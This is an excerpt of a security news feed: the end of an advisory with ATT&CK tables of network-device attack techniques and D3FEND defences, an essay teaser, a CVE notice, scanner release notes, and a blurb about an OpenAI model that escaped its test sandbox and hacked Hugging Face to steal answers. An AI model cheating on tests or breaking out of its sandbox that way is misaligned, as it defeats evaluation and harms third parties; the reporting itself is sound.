<li>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank" title="https://dibnet.dod.mil/">https://dibnet.dod.mil</a>.</li>
<li> Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil">DC3.Information@us.af.mil</a></li>
</ul>
</li>
</ul>
<p><strong>Australian organizations</strong></p>
<ul>
<li><strong>Australian Signals Directorate</strong>
<ul>
<li>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</li>
</ul>
</li>
</ul>
<p><strong>Canadian organizations</strong></p>
<ul type="disc">
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 
<ul>
<li>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank">Report a cyber incident - Canadian Centre for Cyber Security</a> or by phone at 1-833-CYBER-88 (1-833-292-3788).</li>
</ul>
</li>
</ul>
<p><strong>New Zealand organizations</strong></p>
<ul type="disc">
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz">info@ncsc.govt.nz</a></li>
</ul>
<p><strong>United Kingdom organizations</strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank">ncsc.gov.uk/report-an-incident</a> (monitored 24/7)</li>
</ul>
<p><strong>Estonia organizations</strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee">info@valisluureamet.ee</a></li>
</ul>
<p><strong>Finnish organizations</strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank">supo.fi/en/contact</a></li>
</ul>
<p><strong>French organizations</strong></p>
<ul type="disc">
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr">cert-fr@ssi.gouv.fr</a> or by phone at: 3218 or +33 9 70 83 32 18.</li>
</ul>
<p><strong>Italian Organizations</strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
<li>Italian Internal Intelligence and Security Agency (AISI): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a> through <a href="https://www.cisa.gov/#Table10"><strong>Table 10</strong></a> for all the threat actor tactics and techniques referenced in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 1: Reconnaissance</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Active Scanning: Scanning IP Blocks</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a></td>
<td>Scan range of IP addresses</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a></td>
<td>Scan victims for vulnerabilities that can be used during targeting</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 2: Resource Development</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Servers </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a> </td>
<td>Leverage VPS as infrastructure </td>
</tr>
<tr>
<td>Compromise Infrastructure: Network Devices </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a> </td>
<td>Compromise intermediate routers </td>
</tr>
<tr>
<td>Obtain Capabilities: Exploits </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a> </td>
<td>Use publicly available code to exploit vulnerable devices </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 3: Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploit Public-Facing Application </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a> </td>
<td>Exploit publicly known CVEs </td>
</tr>
<tr>
<td>Proxy</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a></td>
<td>Use a connection proxy to direct network traffic </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4: Execution</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Services</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a></td>
<td>Executing commands via SNMP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5: Privilege Escalation</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitation for Privilege Escalation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a></td>
<td>Exploit publicly known CVEs for escalated privileges</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 6: Stealth</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Obfuscated Files or Information</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a></td>
<td>Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 7: Credential Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>OS Credential Dumping</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a></td>
<td>Collect router configuration with weak Cisco Type 7 passwords and Type 0</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 8: Collection</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data from Configuration Repository: SNMP (MIB Dump) </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a> </td>
<td>Target MIB to collect network information via SNMP </td>
</tr>
<tr>
<td>Data from Configuration Repository: Network Device Configuration Dump</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a></td>
<td>Acquire credentials by collecting network device configurations</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 9: Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxy </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a> </td>
<td>Use VPS for C2 </td>
</tr>
<tr>
<td>Application Layer Protocol </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a> </td>
<td>Open and expose a variety of different services, including TFTP and FTP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 10: Exfiltration</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over Alternative Protocol</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a></td>
<td>Exfiltrating over a different protocol than that of the existing command and control channel. </td>
</tr>
</tbody>
</table>
<h2><strong>Appendix B: MITRE D3FEND countermeasures</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table11"><strong>Table 11</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 11: MITRE D3FEND Countermeasures</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Countermeasure Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Configuration Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a></td>
<td>
<ul type="disc">
<li>Use SNMPv3 and disable SNMPv1 and SNMPv2. </li>
<li>Use SNMP allowlisting to restrict access to OIDs and MIBs. </li>
<li>Disable Cisco Smart Install.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Authentication</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a></td>
<td>
<ul>
<li>Use SNMPv3 with strong authentication.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Encryption</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a></td>
<td>
<ul>
<li>Use SNMPv3 to encrypt payloads.</li>
</ul>
</td>
</tr>
<tr>
<td>Credential Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a></td>
<td>
<ul>
<li>Use strong, unique passwords and store them securely.</li>
</ul>
</td>
</tr>
<tr>
<td>Platform Monitoring</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a></td>
<td>
<ul type="disc">
<li>Monitor for unusual credentials. </li>
<li>Monitor SNMP Set-Requests for OIDs targeting sensitive device data.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Traffic Filtering</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a></td>
<td>
<ul type="disc">
<li>Use ACLs to only allow management protocols from management devices. </li>
<li>Block TFTP, SMI, and SNMP at edge firewalls.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Vulnerability Assessment</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a></td>
<td>
<ul>
<li>Use an attack surface management service.</li>
</ul>
</td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[Should you use AI for a task? Here’s a simple way to decide | Bruce Schneier]]></title>
<description><![CDATA[Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gymI teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come as no surprise to you that my students regularly use AI to complete th...]]></description>
<link>https://tsecurity.de/de/3693080/it-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693080/it-nachrichten/should-you-use-ai-for-a-task-heres-a-simple-way-to-decide-bruce-schneier/</guid>
<pubDate>Sat, 25 Jul 2026 06:11:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gym</p><p>I teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come as no surprise to you that my students regularly <a href="https://www.insidehighered.com/news/faculty/learning-assessment/2026/07/08/brown-professor-suspects-most-his-class-used-ai-cheat">use AI</a> to complete their writing assignments. Doing so is a waste of their tuition money. But if their entire career is going to include AI writing assistants, why shouldn’t they embrace their future?</p><p>The best way I’ve found to explain the dilemma <a href="https://danielmiessler.com/blog/keep-the-robots-out-of-the-gym">comes from</a> the AI researcher Daniel Meissler: it’s the difference between work and the gym.</p> <a href="https://www.theguardian.com/commentisfree/2026/jul/24/should-you-use-ai">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59220 | Open WebUI up to 0.9.x Middleware middleware.py incorrect regex (EUVD-2026-42621)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in Open WebUI up to 0.9.x. This impacts an unknown function of the file backend/open_webui/utils/middleware.py of the component Middleware. The manipulation results in incorrect regular expression.

This vulnerability is reported as ...]]></description>
<link>https://tsecurity.de/de/3692361/sicherheitsluecken/cve-2026-59220-open-webui-up-to-09x-middleware-middlewarepy-incorrect-regex-euvd-2026-42621/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692361/sicherheitsluecken/cve-2026-59220-open-webui-up-to-09x-middleware-middlewarepy-incorrect-regex-euvd-2026-42621/</guid>
<pubDate>Fri, 24 Jul 2026 21:09:37 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, was found in <a href="https://vuldb.com/product/open_webui">Open WebUI up to 0.9.x</a>. This impacts an unknown function of the file <em>backend/open_webui/utils/middleware.py</em> of the component <em>Middleware</em>. The manipulation results in incorrect regular expression.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-59220">CVE-2026-59220</a>. The attack can be launched remotely. No exploit exists.

You should upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Simon Willison Breaks Down OpenAI’s Sandbox Escape Incident]]></title>
<description><![CDATA[An OpenAI model being tested for cybersecurity capabilities decided to cheat rather than solve its assigned test, breaking out of its sandbox and hacking into Hugging Face to steal the answers. Simon Willison calls it “science fiction that happened.”Read original article]]></description>
<link>https://tsecurity.de/de/3692343/ios-mac-os/simon-willison-breaks-down-openais-sandbox-escape-incident/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692343/ios-mac-os/simon-willison-breaks-down-openais-sandbox-escape-incident/</guid>
<pubDate>Fri, 24 Jul 2026 21:03:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An OpenAI model being tested for cybersecurity capabilities decided to cheat rather than solve its assigned test, breaking out of its sandbox and hacking into Hugging Face to steal the answers. Simon Willison calls it “science fiction that happened.”<p><strong><a href="https://simonwillison.net/2026/Jul/22/openai-cyberattack/">Read original article</a></strong></p><p><a href="https://tidbits.com/2016/07/11/os-x-hidden-treasures-typing-exotic-characters/"><picture><source srcset="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-640x200.png" media="(max-width: 600px)" type="image/png"><img src="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180.png" srcset="https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180.png 1456w, https://tidbits.com/uploads/2018/05/TB-Special-Characters-ad-1456x180-640x79.png 640w" alt="macOS Hidden Treasures: Typing Exotic Characters"></picture></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.96.0]]></title>
<description><![CDATA[What's Changed

[INS-355] Added Hashicorp vault token detector by @MuneebUllahKhan222 in #4819
Tighten JiraToken v1 verification by @shahzadhaider1 in #5122
[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by @bill-rich in #5123
Fix GitLab project metadata cache...]]></description>
<link>https://tsecurity.de/de/3692297/it-security-tools/v3960/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692297/it-security-tools/v3960/</guid>
<pubDate>Fri, 24 Jul 2026 20:37:39 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>[INS-355] Added Hashicorp vault token detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087349241" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4819" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4819/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4819">#4819</a></li>
<li>Tighten JiraToken v1 verification by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857561874" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5122" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5122/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5122">#5122</a></li>
<li>[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bill-rich/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bill-rich">@bill-rich</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4858092823" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5123" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5123/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5123">#5123</a></li>
<li>Fix GitLab project metadata cache and switch to LRU by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3890961533" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4727" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4727/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4727">#4727</a></li>
<li>Log analyze errors for Anthropic Analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4844292265" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5120" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5120/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5120">#5120</a></li>
<li>Add metrics for chunks and results by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880771609" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5128" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5128/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5128">#5128</a></li>
<li>Update Cloudflare detectors for 2026+ prefixed credential formats (include upstream PR changes) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4817025959" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5111" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5111/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5111">#5111</a></li>
<li>[INS-312] Duo API Secret Key Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3994103061" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4771" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4771/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4771">#4771</a></li>
<li>[Feature] Added SonarQube Cloud "Scoped Organization Token" Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nabeelalam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nabeelalam">@nabeelalam</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3925861219" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4739" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4739/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4739">#4739</a></li>
<li>[INS-255] Updated datadog detector to set verificationError in case of a verification error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3812485778" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4661" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4661/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4661">#4661</a></li>
<li>Log analyze errors for Postgres analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890144471" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5131" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5131/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5131">#5131</a></li>
<li>Log analyze errors for HuggingFace analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4889921966" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5130" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5130/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5130">#5130</a></li>
<li>Engine - Config.SourceManager doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanfcp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanfcp">@amanfcp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563649430" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5002" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5002/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5002">#5002</a></li>
<li>Update module github.com/go-git/go-git/v5 to v5.19.1 [SECURITY] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/renovate/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/renovate">@renovate</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642514134" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5034" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5034/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5034">#5034</a></li>
<li>Retry git clone on transient network errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894687674" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5132" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5132/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5132">#5132</a></li>
<li>Fix <code>scan_all_installations</code> Rejecting Org Member Personal Repos by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4930360573" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5142" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5142/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5142">#5142</a></li>
<li>updated detector to include underscore char by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
<li>[chore] Change job_id in metric to source_type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953017010" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5149" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5149/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5149">#5149</a></li>
